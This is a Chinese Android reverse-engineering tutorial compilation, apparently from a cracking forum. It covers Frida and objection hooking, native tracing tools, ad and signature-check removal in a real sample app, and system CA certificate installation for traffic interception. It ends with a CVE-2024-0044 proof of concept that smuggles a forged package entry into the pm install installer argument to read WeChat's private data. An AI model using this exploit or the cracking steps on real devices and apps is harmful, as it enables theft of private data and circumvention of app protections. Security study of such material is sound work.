\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | function inline_hook() { var soAddr = Module.findBaseAddress( \\"lib52pojie.so\\" ); if (soAddr) { var func_addr = soAddr.add(0x10428); Java.perform( function () { Interceptor.attach(func_addr, { onEnter: function (args) { console.log( this .context.x22); //注意此时就没有args概念了 this .context.x22 = ptr(1); //赋值方法参考上一节课 }, onLeave: function (retval) { } } ) }) } } |
1 2 3 | var soAddr = Module.findBaseAddress( \\"lib52pojie.so\\" ); var codeAddr = Instruction.parse(soAddr.add(0x10428)); console.log(codeAddr.toString()); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | var soAddr = Module.findBaseAddress( \\"lib52pojie.so\\" ); var codeAddr = soAddr.add(0x10428); Memory.patchCode(codeAddr, 4, function (code) { const writer = new Arm64Writer(code, { pc: codeAddr }); writer.putBytes(hexToBytes( \\"20008052\\" )); writer.flush(); }); function hexToBytes(str) { var pos = 0; var len = str.length; if (len % 2 != 0) { return null ; } len /= 2; var hexA = new Array(); for ( var i = 0; i < len; i++) { var s = str.substr(pos, 2); var v = parseInt(s, 16); hexA.push(v); pos += 2; } return hexA; } |
数据类型 | \\n描述 | \\n
---|---|
void | \\n无返回值 | \\n
pointer | \\n指针 | \\n
int | \\n整数 | \\n
long | \\n长整数 | \\n
char | \\n字符 | \\n
float | \\n浮点数 | \\n
double | \\n双精度浮点数 | \\n
bool | \\n布尔值 | \\n
1 2 3 4 5 6 7 | var funcAddr = Module.findBaseAddress( \\"lib52pojie.so\\" ).add(0x1054C); //声明函数指针 //NativeFunction的第一个参数是地址,第二个参数是返回值类型,第三个[]里的是传入的参数类型(有几个就填几个) var aesAddr = new NativeFunction(funcAddr , \'pointer\' , [ \'pointer\' , \'pointer\' ]); var encry_text = Memory.allocUtf8String( \\"OOmGYpk6s0qPSXEPp4X31g==\\" ); //开辟一个指针存放字符串 var key = Memory.allocUtf8String( \'wuaipojie0123456\' ); console.log(aesAddr(encry_text ,key).readCString()); |
jni的主动调用
参考java的主动调用,简单快捷
工具名称 | \\n描述 | \\n链接 | \\n
---|---|---|
jnitrace | \\n老牌,经典,信息全,携带方便 | \\njnitrace | \\n
jnitrace-engine | \\n基于jnitrace,可定制化 | \\njnitrace-engine | \\n
jtrace | \\n定制方便,信息全面,直接在_agent.js或者_agent_stable.js 里面加自己的逻辑就行 | \\njtrace | \\n
hook_art.js | \\n可提供jni trace,可以灵活的增加你需要hook的函数 | \\nhook_art.js | \\n
JNI-Frida-Hook | \\n函数名已定义,方便定位 | \\nJNI-Frida-Hook | \\n
findhash | \\nida插件,可用于检测加解密函数,也可作为Native Trace库 | \\nfindhash | \\n
Stalker | \\nfrida官方提供的代码跟踪引擎,可以在Native层方法级别,块级别,指令级别实现代码修改,代码跟踪 | \\nStalker | \\n
sktrace | \\n类似 ida 指令 trace 功能 | \\nsktrace | \\n
frida-qbdi-tracer | \\n速度比frida stalker快,免补环境 | \\nfrida-qbdi-tracer | \\n
PS:这次介绍的几款工具都是基础用法,更深入的还需要大家去看看源码学习 | \\n\\n | \\n |
官方文档
frida-trace 可以一次性监控一堆函数地址。还能打印出比较漂亮的树状图,不仅可以显示调用流程,还能显示调用层次。并且贴心的把不同线程调用结果用不同的颜色区分开了。
大佬整理的文档:
frida-trace
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | D:\\\\> frida - trace.exe - - help 用法: frida - trace [options] target 位置参数: args extra arguments and / or target 选项: - h, - - help 显示帮助 - D ID , - - device ID 通过 ID 连接设备 - U, - - usb 通过 USB 连接设备 - R, - - remote 连接到远程 frida - server - H HOST, - - host HOST 连接到远程 host 上的 frida - server - - certificate 证书 设置证书,通过 TSL 与 host 交互 - - origin ORIGIN 设置连接到远程服务的 \\"Origin\\" 头部 - - token TOKEN 设置 与host 认证 - - keepalive - interval 时间间隔。 0 表示禁用, - 1 表示基于传输自动选择 - - p2p 建立一个点对点的连接 - - stun - server ADDRESS 设置 - - p2p 的 STUN 服务地址 - - relay address,username,password,turn - {udp,tcp,tls} 添加 - - p2p 延迟 - f TARGET, - - file TARGET spawn 模式 - F, - - attach - frontmost 附加到最前端的 application - n NAME, - - attach - name NAME 附加到一个名字 - N IDENTIFIER, - - attach - identifier IDENTIFIER 附加到标识符 - p PID, - - attach - pid PID 附加到 pid - W PATTERN, - - await PATTERN await spawn matching PATTERN - - stdio {inherit,pipe} stdio behavior when spawning (defaults to “inherit”) - - aux option set aux option when spawning, such as “uid = ( int ) 42 ” (supported types are: string, bool , int ) - - realm {native,emulated} 附件的范围 - - runtime {qjs,v8} 使用的脚本运行环境 - - debug 启用 Node.js 兼容的脚本调试器 - - squelch - crash 如果启用,将不会将崩溃报告转储到控制台 - O FILE , - - options - file FILE 将信息保存到文件中 - - version 显示版本号 |
-i
/ -a
: 跟踪 C 函数或 so 库中的函数。包含/排除模块或函数:
\\n-I
: 包含指定模块。-X
: 排除指定模块。Java 方法跟踪:
\\n-j JAVA_METHOD
: 包含 Java 方法。-J JAVA_METHOD
: 排除 Java 方法。附加方式:
\\n-f
:通过 spwan 方式启动-F
:通过 attach 方式附加当前进程日志输出:-o
:日志输出到文件
1 2 | 使用案例: frida - trace - U - F - I \\"lib52pojie.so\\" - i \\"Java_\\" #附加当前进程并追踪lib52pojie.so里的所有Java_开头的jni导出函数 |
前提
\\n1 | pip install jnitrace = = 3.3 . 0 |
使用方法
\\n1 | jnitrace - m attach - l lib52pojie.so com.zj.wuaipojie - o trace.json / / attach模式附加 52pojie .so并输出日志 |
-l libnative-lib.so
- 用于指定要跟踪的库-m <spawn|attach>
- 用于指定要使用的 Frida 附加机制-i <regex>
- 用于指定应跟踪的方法名称,例如,-i Get -i RegisterNatives
将仅包含名称中包含 Get 或 RegisterNatives 的 JNI 方法-e <regex>
- 用于指定跟踪中应忽略的方法名称,例如,-e ^Find -e GetEnv
将从结果中排除所有以 Find 开头或包含 GetEnv 的 JNI 方法名称-I <string>
- 用于指定应跟踪的库的导出-E <string>
用于指定不应跟踪的库的导出-o path/output.json
- 用于指定jnitrace
存储所有跟踪数据的输出路径
1 | python sktrace.py - m attach - l lib52pojie.so - i 0x103B4 com.zj.wuaipojie |
细品sec2023安卓赛题
JEB Decompiler 5.5.0.202311022109 mod by CXV
PS:注意jdk的版本要高于17,不然打不开
下载地址
恐怖如斯的效果对比图:
PS:珍惜表哥说dexlib2也能混淆对抗,效果比jeb的还强大
\\n百度云
阿里云
哔哩哔哩
教程开源地址
PS:解压密码都是52pj,阿里云由于不能分享压缩包,所以下载exe文件,双击自解压
Trace大盘点
[原创]frida-qbdi-tracer
优化jnitrace以及增强信息打印
jnitrace、frida-trace、Stalker、sktrace、Frida Native Trace、r0tracer、strace、IDA trace、Unidbg Trace
Frida Stalker - Tracing binary instructions
frida hook so层方法大全
Inline HOOK
1.配置objection环境
2.了解objection常用Api
3.了解frida_java_trace工具分析控制流混淆
1.教程Demo(更新)
2.jadx-gui
3.VS Code
4.IDLE
objection是基于frida的命令行hook集合工具, 可以让你不写代码, 敲几句命令就可以对java函数的高颗粒度hook, 还支持RPC调用。可以实现诸如内存搜索、类和模块搜索、方法hook打印参数返回值调用栈等常用功能,是一个非常方便的,逆向必备、内存漫游神器。
项目地址
已不更新,要和frida的版本匹配
\\n1 2 3 4 | python使用的版本建议大于 3.8 ,不然可能会报错,或者你调低frida以及objection的版本 pip install objection = = 1.11 . 0 pip install frida - tools = = 9.2 . 4 frida 14.2 . 18 |
1.help命令注释
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | objection - - help ( help 命令) Checking for a newer version of objection... Usage: objection [OPTIONS] COMMAND [ARGS]... _ _ _ _ ___| |_|_|___ ___| |_|_|___ ___ | . | . | | - _| _| _| | . | | |___|___| |___|___|_| |_|___|_|_| |___|( object )inject(ion) Runtime Mobile Exploration by: @leonjza from @sensepost 默认情况下,通信将通过USB进行,除非提供了` - - network`选项。 选项: - N, - - network 使用网络连接而不是USB连接。 - h, - - host TEXT [默认: 127.0 . 0.1 ] - p, - - port INTEGER [默认: 27042 ] - ah, - - api - host TEXT [默认: 127.0 . 0.1 ] - ap, - - api - port INTEGER [默认: 8888 ] - g, - - gadget TEXT 要连接的Frida Gadget / 进程的名称。 [默认: Gadget] - S, - - serial TEXT 要连接的设备序列号。 - d, - - debug 启用带有详细输出的调试模式。(在堆栈跟踪中包括代理源图) - - help 显示此消息并退出。 命令: api 以无头模式启动objection API服务器。 device - type 获取关于已连接设备的信息。 explore 启动objection探索REPL。 patchapk 使用frida - gadget.so补丁一个APK。 patchipa 使用FridaGadget dylib补丁一个IPA。 run 运行单个objection命令。 signapk 使用objection密钥对APK进行Zipalign和签名。 version 打印当前版本并退出。 |
2.注入命令
\\n1 2 3 4 5 6 | objection - g 包名 explore - help :不知道当前命令的效果是什么,在当前命令前加 help 比如: help env,回车之后会出现当前命令的解释信息 - 按空格:不知道输入什么就按空格,会有提示出来 - jobs:可以进行多项hook - 日志:objection的日志文件生成在 C:\\\\Users\\\\Administrator\\\\.objection |
启动前就hook
\\n1 | objection - g 进程名 explore - - startup - command \\"android hooking watch class 路径.类名\\" |
1 2 3 4 5 6 7 8 9 10 11 12 | memory list modules Save the output by adding ` - - json modules.json` to this command Name Base Size Path - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - app_process64 0x57867c9000 40960 ( 40.0 KiB) / system / bin / app_process64 linker64 0x72e326a000 229376 ( 224.0 KiB) / system / bin / linker64 libandroid_runtime.so 0x72e164e000 2113536 ( 2.0 MiB) / system / lib64 / libandroid_runtime.so libbase.so 0x72dfa67000 81920 ( 80.0 KiB) / system / lib64 / libbase.so libbinder.so 0x72dec1c000 643072 ( 628.0 KiB) / system / lib64 / libbinder.so libcutils.so 0x72de269000 86016 ( 84.0 KiB) / system / lib64 / libcutils.so libhidlbase.so 0x72df4cc000 692224 ( 676.0 KiB) / system / lib64 / libhidlbase.so liblog.so 0x72e0be1000 98304 ( 96.0 KiB) / system / lib64 / liblog |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | memory list exports liblog.so Save the output by adding ` - - json exports.json` to this command Type Name Address - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - function android_log_write_int32 0x72e0be77c8 function android_log_write_list_begin 0x72e0be76f0 function __android_log_bswrite 0x72e0be9bd8 function __android_log_security 0x72e0bf2144 function __android_log_bwrite 0x72e0be9a18 function android_log_reset 0x72e0be75ec function android_log_write_string8 0x72e0be7a38 function android_logger_list_free 0x72e0be8c04 function __android_log_print 0x72e0be9728 function __android_logger_property_get_bool 0x72e0bf2248 function android_logger_get_id 0x72e0be8270 function android_logger_set_prune_list 0x72e0be8948 |
activity
或service
(可以用于一些没有验证的activity,在一些简单的ctf中有时候可以出奇效)1 2 3 4 5 | android heap search instances 类名(命令) Class instance enumeration complete for com.zj.wuaipojie.Demo Hashcode Class toString() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 215120583 com.zj.wuaipojie.Demo com.zj.wuaipojie.Demo@cd27ac7 |
1 2 3 4 5 | android heap execute <handle> getPublicInt(实例的hashcode + 方法名) 如果是带参数的方法,则需要进入编辑器环境 android heap evaluate <handle> console.log(clazz.a( \\"吾爱破解\\" )); 按住esc + enter触发 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | android hooking list classes tw.idv.palatis.xappdebug.MainApplication tw.idv.palatis.xappdebug.xposed.HookMain tw.idv.palatis.xappdebug.xposed.HookMain$a tw.idv.palatis.xappdebug.xposed.HookMain$b tw.idv.palatis.xappdebug.xposed.HookMain$c tw.idv.palatis.xappdebug.xposed.HookMain$d tw.idv.palatis.xappdebug.xposed.HookSelf u v void w xposed.dummy.XResourcesSuperClass xposed.dummy.XTypedArraySuperClass Found 10798 classes |
1 2 3 4 5 6 7 8 9 10 11 12 | android hooking search classes wuaipojie Note that Java classes are only loaded when they are used, so if the expected class has not been found, it might not have been loaded yet. com.zj.wuaipojie.Demo com.zj.wuaipojie.Demo$Animal com.zj.wuaipojie.Demo$Companion com.zj.wuaipojie.Demo$InnerClass com.zj.wuaipojie.Demo$test$ 1 com.zj.wuaipojie.MainApplication com.zj.wuaipojie.databinding.ActivityMainBinding ... Found 38 classes |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | android hooking list class_methods com.zj.wuaipojie.ui.ChallengeSixth private static final void com.zj.wuaipojie.ui.ChallengeSixth.onCreate$ lambda - 0 (com.zj.wuaipojie.ui.ChallengeSixth,android.view.View) private static final void com.zj.wuaipojie.ui.ChallengeSixth.onCreate$ lambda - 1 (com.zj.wuaipojie.ui.ChallengeSixth,android.view.View) private static final void com.zj.wuaipojie.ui.ChallengeSixth.onCreate$ lambda - 2 (com.zj.wuaipojie.ui.ChallengeSixth,android.view.View) private static final void com.zj.wuaipojie.ui.ChallengeSixth.onCreate$ lambda - 3 (com.zj.wuaipojie.ui.ChallengeSixth,android.view.View) protected void com.zj.wuaipojie.ui.ChallengeSixth.onCreate(android.os.Bundle) public final java.lang.String com.zj.wuaipojie.ui.ChallengeSixth.hexToString(java.lang.String) public final java.lang.String com.zj.wuaipojie.ui.ChallengeSixth.unicodeToString(java.lang.String) public final void com.zj.wuaipojie.ui.ChallengeSixth.toastPrint(java.lang.String) public static void com.zj.wuaipojie.ui.ChallengeSixth.$r8$ lambda $ 1lrkrgiCEFWXZDHzLRibYURG1h8 (com.zj.wuaipojie.ui.ChallengeSixth,android.view.View) public static void com.zj.wuaipojie.ui.ChallengeSixth.$r8$ lambda $IUqwMqbTKaOGiTaeOmvy_GjNBso(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View) public static void com.zj.wuaipojie.ui.ChallengeSixth.$r8$ lambda $Kc_cRYZjjhjsTl6GYNHbgD - i6sE(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View) public static void com.zj.wuaipojie.ui.ChallengeSixth.$r8$ lambda $PDKm2AfziZQo6Lv1HEFkJWkUsoE(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View) Found 12 method(s) |
1 | android hooking watch class 类名 |
1 | android hooking watch class_method 类名.方法名 - - dump - args - - dump - return - - dump - backtrace |
1 | android hooking watch class_method 类名.$init |
1 | android hooking watch class_method 类名.方法名 |
样本展示:
项目地址:
BlackObfuscator
hook
构造函数1 2 3 4 5 | 因为以长久不更新,故新版frida不兼容,下面是我跑起来的版本 python = = 3.8 . 8 firda = = 14.2 . 18 frida - tools = = 9.2 . 4 还需要安装pyqt5的库 |
1 2 3 4 5 6 7 8 | / / 使用说明 1. 运行server端 2. 点击action 3. 点击Match Regex设置过滤标签 4. 输入包名(或者方法名等可以过滤的标签),点击add 5. 点击action的start 6. 点击应用触发相应的逻辑 7. 可左上角fils - Export JSON来导出日志分析 |
1 2 3 4 5 6 7 8 9 10 11 12 | //A. 简易trace单个lei //traceClass(\\"com.zj.wuaipojie2023_1.MainActivity\\") //B. 黑白名单trace多个函数,第一个参数是白名单(包含关键字),第二个参数是黑名单(不包含的关键字) hook( \\"com.zj.wuaipojie2023_1\\" , \\"$\\" ); //hook(\\"ViewController\\",\\"UI\\") //C. 报某个类找不到时,将某个类名填写到第三个参数,比如找不到com.roysue.check类。(前两个参数依旧是黑白名单) // hook(\\"com.roysue.check\\",\\" \\",\\"com.roysue.check\\"); //D. 新增hookALL() 打开这个模式的情况下,会hook属于app自己的所有业务类,小型app可用 ,中大型app几乎会崩溃,经不起 // hookALL() //日志输出 frida -U -f 【2023春节】解题领红包之四 -l r0tracer.js -o Log.txt |
百度云
阿里云
哔哩哔哩
教程开源地址
PS:解压密码都是52pj,阿里云由于不能分享压缩包,所以下载exe文件,双击自解压
实用FRIDA进阶:内存漫游、hook anywhere、抓包
\\n借助已学知识完成样本软件的去除签名校验、去广告与更新、布局优化
\\n1.样本软件
2.jadx-gui
3.MT管理器/NP管理器
4.算法助手
5.开发助手
《安卓逆向这档事》疑难解答-建议征集贴
【吾爱破解安卓逆向入门教程《安卓逆向这档事》三、初识smali,vip终结者】
【【Android逆向】16分钟动画讲解java以及对应的smali代码】
PS:讲得特别好,建议对于smali还不熟悉的朋友可以多看几遍!!!
关键字:initsdk、loadad、initad等
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | public void O(SaiUserInfo saiUserInfo, boolean z) { g0.i(BaseApp.getInstance(), saiUserInfo); //获取用户信息 if (z) { v.c().q(SaiSPKey.appToken, saiUserInfo.getToken()); //获取Token } this .e.set(saiUserInfo); this .h.setValue(saiUserInfo.getPic()); //设置用户头像 if (saiUserInfo.getLogin_type() == 1 ) { //判断登录状态,并设置用户信息 this .g.set( \\"点击登录\\" ); this .f.set(Boolean.FALSE); } else { this .g.set(saiUserInfo.getNickname()); this .f.set(Boolean.TRUE); } ObservableField observableField = this .i; observableField.set( \\"ID:\\" + saiUserInfo.getUser_id()); //获取用户ID ObservableField observableField2 = this .j; observableField2.set(SaiAppUtils.d(saiUserInfo.getInvited_count() + \\"人\\" )); //获取用户邀请人数 if (saiUserInfo.getInvited_count() > 0 ) { ObservableField observableField3 = this .k; observableField3.set(SaiAppUtils.d(N(saiUserInfo.getInvited_count()) + \\"天 \\" )); } else { this .k.set(SaiAppUtils.d( \\"0天\\" )); } if (saiUserInfo.getFree_time() * 1000 > System.currentTimeMillis()) { //获取免广告时间 this .n.set( 0 ); this .m.set(d.a(Long.valueOf(saiUserInfo.getFree_time() * 1000 ))); this .l.set( \\"剩余免广告:\\" ); BaseApp.getInstance().setFreeTime(saiUserInfo.getFree_time() * 1000 ); return ; } this .l.set( \\"邀请好友获得终身免广告特权\\" ); this .n.set( 8 ); BaseApp.getInstance().setFreeTime(0L); } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | public void initData() { super .initData(); if (!v.c().b(SaiSPKey.AGREE_PRIVATE, false )) { ((SaiSplashViewModel) this .viewModel).b(b.s.c.b.a().c(SaiPrivateEvent. class ).observeOn(AndroidSchedulers.mainThread()).subscribe( new Consumer() { // from class: b.l.i.v.d @Override // io.reactivex.functions.Consumer public final void accept(Object obj) { SaiSplashActivity. this .g((SaiPrivateEvent) obj); } })); a0.a.h( this ); return ; } try { s.a.d(); //广告SDK初始化 } catch (Exception e2) { e0.b( \\"===========>>> \\" + e2.getMessage()); } int g2 = v.c().g(SaiSPKey.INSTANCE.getLaunchCount(), 0 ); if (g2 != 0 ) { if (!v.c().b( \\"extend_java_aa\\" , false )) { v.c().s( \\"extend_java_aa\\" , true ); g2 = 0 ; } } else { v.c().s( \\"extend_java_aa\\" , true ); } if (g2 == 0 ) { showLoaddingDialog(); ((SaiSplashViewModel) this .viewModel).b(b.s.c.b.a().c(SaiAppInitEvent. class ).observeOn(AndroidSchedulers.mainThread()).subscribe( new Consumer() { // from class: b.l.i.v.a @Override // io.reactivex.functions.Consumer public final void accept(Object obj) { SaiSplashActivity. this .i((SaiAppInitEvent) obj); } })); } g.a.a(g2); int i2 = g2 + 1 ; v.c().m(SaiSPKey.INSTANCE.getLaunchCount(), i2); c0 c0Var = c0.a; if (c0Var.f3990g == - 1 ) { c0Var.f3990g = i2; } if (g2 != 0 ) { if (NetworkUtils.c()) { ((SaiSplashViewModel) this .viewModel).n(); if (c0Var.l( \\"1\\" )) { showLoaddingDialog(); SaiSplashAdActivity.invoke( this ); finish(); } else { n(b.DELAY); } } else { n(b.NONET); } } else { ((SaiSplashViewModel) this .viewModel).n(); } if (i.c(d.f().toString(), c0Var.f3986c).equals(c0Var.j(R.string.app_cudgel))) { return ; } e0.b( \\"===========>>> app kill app_cudgel\\" ); System.exit( 0 ); } |
赋值参考第六课52:08
\\n1 2 3 4 5 6 7 8 9 10 | .method public getFree_time()J .registers 3 .line 1 iget-wide v0, p0, Lcom/pencil/saibeans/SaiUserInfo;->free_time:J const -wide v0, 0x32d57bf5e8L return -wide v0 .end method |
吾爱破解安卓逆向入门教程《安卓逆向这档事》六、校验的N次方-签名校验对抗、PM代理、IO重定向
1.核心破解,免签名安装
2.一键去签名工具
[实战破解]白描-动态代{过}{滤}理Hook签名校验
3.手动分析签名校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | .method public static f()Ljava/util/List; .registers 2 .annotation build Landroidx/annotation/NonNull; .end annotation .annotation system Ldalvik/annotation/Signature; value = { \\"()\\" , \\"Ljava/util/List<\\" , \\"Ljava/lang/String;\\" , \\">;\\" } .end annotation .line 1 new -instance v0, Ljava/util/ArrayList; invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V const -string v1, \\"F9:6C:E9:5F:D5:47:BE:DF:81:15:E3:71:8A:10:54:45\\" #创建了一个新的 ArrayList 实例,然后向列表中添加了一个字符串常量 \\"F9:6C:E9:5F:D5:47:BE:DF:81:15:E3:71:8A:10:54:45\\" invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z return -object v0 .end method |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | public static boolean a( boolean z, SaiUpgradeInfo saiUpgradeInfo) { if (!a.b.b() && saiUpgradeInfo != null ) { try { //获取版本号进行对比 if (saiUpgradeInfo.getVersion_code() >= b.c.a.b.d.i()) { boolean b2 = v.c().b(SaiSPKey.INSTANCE.getUpgrade_dialog(), false ); if (z || !b2) { if (saiUpgradeInfo.getIs_same() == 1 ) { v c = v.c(); if (!c.b( \\"appUpgrade_\\" + saiUpgradeInfo.getVersion_code(), false )) { new d(b.c.a.b.a.h(), saiUpgradeInfo).show(); v c2 = v.c(); c2.s( \\"appUpgrade_\\" + saiUpgradeInfo.getVersion_code(), true ); return true ; } } else if (saiUpgradeInfo.getVersion_code() > b.c.a.b.d.i()) { new d(b.c.a.b.a.h(), saiUpgradeInfo).show(); return true ; } else if (z) { ToastUtils.v( \\"已经是最新版本\\" ); } e0.b( \\"========>>> 包升级更新:${it.url}\\" ); } } else if (z) { ToastUtils.v( \\"已经是最新版本\\" ); } } catch (Exception unused) { } } return false ; } |
【吾爱破解安卓逆向入门教程《安卓逆向这档事》四、恭喜你获得广告&弹窗静默卡】
1.修改xml中的属性值
元素名称 | \\n属性名称 | \\n描述 | \\n
---|---|---|
LinearLayout | \\nandroid:gravity | \\n设置布局内部元素的位置,这里设置为中心和左对齐 | \\n
LinearLayout | \\nandroid:orientation | \\n设置 LinearLayout 的方向,这里设置为水平 | \\n
LinearLayout | \\nandroid:tag | \\n为视图设置标签,这里设置为 \\"binding_13\\" | \\n
LinearLayout | \\nandroid:background | \\n设置背景图片,这里引用了名为 \\"sai_sp_stroke_divider\\" 的资源 | \\n
LinearLayout | \\nandroid:paddingLeft | \\n设置左填充距离,这里引用了名为 \\"dp_15\\" 的资源 | \\n
LinearLayout | \\nandroid:paddingTop | \\n设置顶部填充距离,这里设置为 10dp | \\n
LinearLayout | \\nandroid:paddingBottom | \\n设置底部填充距离,这里设置为 10dp | \\n
LinearLayout | \\nandroid:visibility | \\n设置视图可见性,这里设置为 \\"gone\\" | \\n
LinearLayout | \\nandroid:layout_width | \\n设置布局宽度,这里设置为 0dp | \\n
LinearLayout | \\nandroid:layout_height | \\n设置布局高度,这里设置为包裹内容 | \\n
LinearLayout | \\nandroid:layout_marginRight | \\n设置右边距,这里引用了名为 \\"dp_8\\" 的资源 | \\n
LinearLayout | \\nandroid:layout_weight | \\n设置布局权重,这里设置为 1.0 | \\n
LinearLayout | \\nandroid:paddingVertical | \\n设置垂直方向的填充距离,这里设置为 10dp | \\n
ImageView | \\nandroid:layout_width | \\n设置图片视图宽度,这里引用了名为 \\"dp_32\\" 的资源 | \\n
ImageView | \\nandroid:layout_height | \\n设置图片视图高度,这里引用了名为 \\"dp_32\\" 的资源 | \\n
ImageView | \\nandroid:src | \\n设置图片资源,这里引用了名为 \\"icon_mine_invitecode\\" 的资源 | \\n
TextView | \\nandroid:textSize | \\n设置文本字体大小,这里引用了名为 \\"sp_14\\" 的资源 | \\n
TextView | \\nandroid:textColor | \\n设置文本颜色,这里引用了名为 \\"common_h0\\" 的资源 | \\n
TextView | \\nandroid:layout_width | \\n设置文本视图宽度,这里设置为包裹内容 | \\n
TextView | \\nandroid:layout_height | \\n设置文本视图高度,这里设置为包裹内容 | \\n
TextView | \\nandroid:layout_marginLeft | \\n设置左边距,这里引用了名为 \\"dp_10\\" 的资源 | \\n
TextView | \\nandroid:text | \\n设置文本内容,这里设置为 \\"填写邀请码\\" | \\n
1 | android:visibility=\\"gone\\" |
2.上帝模式优化布局
\\n\\n完成剩余布局的优化并截图回复
\\n百度云
阿里云
哔哩哔哩
教程开源地址
PS:解压密码都是52pj,阿里云由于不能分享压缩包,所以下载exe文件,双击自解压
看到很多人问,所以抽空写了这篇帖子。
对于 App 数据包逆向分析来说,第一步也就是最重要的一步就是抓到完整的数据包。在国内 App 抓包方案中成熟的有很多也很好用,经典的就是 Fiddler 、 Charles、Burpsuite等等。但在分析外网 App 时,通过这些方案进行抓包都会面临一个问题,没梯子,抓不到包。本文将介绍如何使用 Charles + Clash + Postern 这三个工具来捕获和分析外网 App 的网络数据包。
Charles 任意本版
Postern 任意本版
Clash 任意版本,需科学
科学后,查看常规端口,记住该端口,再将允许局域网代理打开,如不打开局域网代理,手机无法接入。
Android 7之前把 CA 证书安装到用户证书下即可,但 Android 7 之后的版本只有系统证书才能被信任,所以需要将 CA 证书安装到系统证书下。
\\n部分版本可以通过 Magisk Move Certificates 模块达到此效果,该模块会把用户安装在信任凭证中属于用户部分的证书在重启时移入系统证书目录下,但在部分系统中安装的 CA 证书在用户凭证下,该模块失效。
在电脑中将 Charles 的证书(.pem格式)导出到本地路径,名称为charles.pem。
计算证书 hash 值并修改名称:
1 | openssl x509 - inform PEM - subject_hash_old - in charles.pem |
将首行 e9352f7c 的 8 位的 hash 值进行复制,拷贝并命名证书:
\\n1 | cp charles.pem e9352f7c. 0 |
证书导入到手机,执行以下adb命令将证书导入到/system/etc/security/cacerts/
\\n1 2 3 4 5 6 7 | adb root adb remount # 用root用户重新挂载为rwx权限, 这两步必须在shell外部执行 adb push e9352f7c. 0 / sdcard / adb shell mount - o rw,remount / system mv / sdcard / e9352f7c. 0 / system / etc / security / cacerts / chmod 644 / system / etc / security / cacerts / e9352f7c. 0 |
系统设置 → 更多设置 → 系统安全 → 加密与凭证 → 信任的凭据中可查看
Proxy->Proxy Settings 进行如下设置:
Proxy->External Proxy Settings 进行如下设置:
手机连接与电脑相同 WiFi 对其进行代理,IP 为对应的主机 IP,端口为 Charles HTTP Proxy 所配置的端口。
将代理设置好后,在手机上对 google.com 进行访问,看 Charles 是否能抓到相关数据包,若能则成功。
Postern 的作用是代理转发,Vpx 代理是处于网络层的,可以抓到更多的数据包。
服务器名称:可任意填写
服务器地址:主机 IP 地址就是服务器地址,我这是 172.20.10.5。
服务器端口:可自行在 Charles 中设置,参考:Charles的配置,默认为8889,可更改。
代理类型:SOCKS5
用户名 & 密码:填 | 不填 都可
匹配类型:匹配所有地址
动作:通过代理连接
代理/代理组:上面设置的:服务器名称 - 服务器地址:服务器端口,例:test - 172.20.10.5:16666
上述内容都配置好后,点击开启 Vpx,会看到手机顶部会有个钥匙的标志或 Vpx 字样,不同品牌、不同版本手机会有所不同:
开启后,在手机上对 google.com 进行访问,看 Charles 是否能抓到相关数据包,若能则成功:
抓包的方法有很多,找到适合自己的就好了,祝大家都能抓到自己想要的包。
\\nCVE-2024-0044是一项高危漏洞,影响Android 12和13版本,该漏洞位于PackageInstallerService.java文件的createSessionInternal函数中。此漏洞允许攻击者执行\\"run-as any app\\"攻击,从而在不需要用户交互的情况下实现本地特权升级。问题出现在createSessionInternal函数中的输入验证不当。攻击者可以通过操纵会话创建过程来利用此漏洞,可能会未经授权地访问敏感数据并在受影响设备上执行未经授权的操作。
\\n该漏洞由Meta Security发现:
\\nhttps://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
\\nTiny hack总结并分享了概念证明:
\\n\\n有关安全补丁的详细信息,请参阅Android 安全公告:
\\nhttps://source.android.com/docs/security/bulletin/2024-03-01
\\n参考https://github.com/pl4int3xt/cve_2024_0044
\\n目标:提取手机上微信数据。
\\n手机:小米10 HyberOS1.0.5.0TJBCNXM Android13 补丁时间:2024-03-01
\\n1.查看微信uid
\\n利用adb shell命令查看微信的uid
\\n1 | $ pm list package -U | grep com.tencent.mm |
执行后可以得到微信uid 10314
2.推送任意一个app到/data/local/tmp
目录下,这里采用参考文章一样的F-Droid.apk
1 | adb push F-Droid.apk /data/local/tmp/F-Droid .apk |
3.执行poc,这里将uid替换为微信的uid,victim这个名称也是可以改的;这里是直接复制下面的代码到adb shell命令框中的
\\n1 2 3 | PAYLOAD=\\"@null victim 10314 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null\\" pm install -i \\"$PAYLOAD\\" /data/local/tmp/F-Droid .apk |
